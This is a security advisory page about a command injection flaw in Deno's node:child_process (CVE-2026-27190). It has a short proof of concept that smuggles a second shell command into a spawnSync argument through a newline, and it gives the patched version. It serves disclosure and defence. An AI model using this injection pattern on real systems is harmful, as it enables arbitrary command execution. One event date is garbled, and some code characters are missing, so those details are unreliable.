CVE-2026-27190: Deno has a Command Injection via Incomplete shell metacharacter blocklist in node:child_process

Published Feb 19, 2026
·
Updated

Summary A command injection vulnerability exists in Deno's node:childprocess implementation.

Reproduction javascript import { spawnSync } from "node:childprocess"; import as fs from "node:fs";

// Cleanup try { fs.unlinkSync('/tmp/rceproof'); } catch {}

// Create legitimate script fs.writeFileSync('/tmp/legitimate.ts', 'console.log("normal");');

// Malicious input with newline injection const maliciousInput = /tmp/legitimate.ts\ntouch /tmp/rceproof;

// Vulnerable pattern spawnSync(Deno.execPath(), ['run', '--allow-all', maliciousInput], { shell: true, encoding: 'utf-8' });

// Verify console.log('Exploit worked:', fs.existsSync('/tmp/rceproof'));

Run: deno run --allow-all poc.mjs

The file /tmp/rceproof is created, confirming arbitrary command execution.

Mitigation

All users need to update to the patched version (Deno v2.6.8).

Other sources

Deno is a JavaScript, TypeScript, and WebAssembly runtime. Prior to 2.6.8, a command injection vulnerability exists in Deno's node:childprocess implementation. This vulnerability is fixed in 2.6.8.

— NVD

Affected Software

2 affected componentsFixes available
rust/deno<2.6.8
2.6.8
Deno Deno<2.6.8

Event History

Feb 19, 2026
Advisory Published
via GitHub·08:31 PM
Data Sourced
via GitHub·08:31 PM
DescriptionSeverityWeaknessAffected Software
Feb 20, 2026
CVE Published
via MITRE·08:52 PM
Data Sourced
via MITRE·08:52 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:19 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:19 PM
RemedyAffected Software
Oct 1, 58139
Event
via FIRST·09:25 PM

Frequently Asked Questions

1

What is the severity of CVE-2026-27190?

CVE-2026-27190 is classified as a high-severity command injection vulnerability.

2

How do I fix CVE-2026-27190?

To mitigate CVE-2026-27190, you should upgrade to Deno version 2.6.8 or higher.

3

Which versions of Deno are affected by CVE-2026-27190?

CVE-2026-27190 affects all versions of Deno prior to 2.6.8.

4

What type of vulnerability is CVE-2026-27190?

CVE-2026-27190 is a command injection vulnerability found in Deno's node:child_process implementation.

5

Can CVE-2026-27190 be exploited remotely?

Yes, CVE-2026-27190 can be exploited remotely, making it critical to apply the fix promptly.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203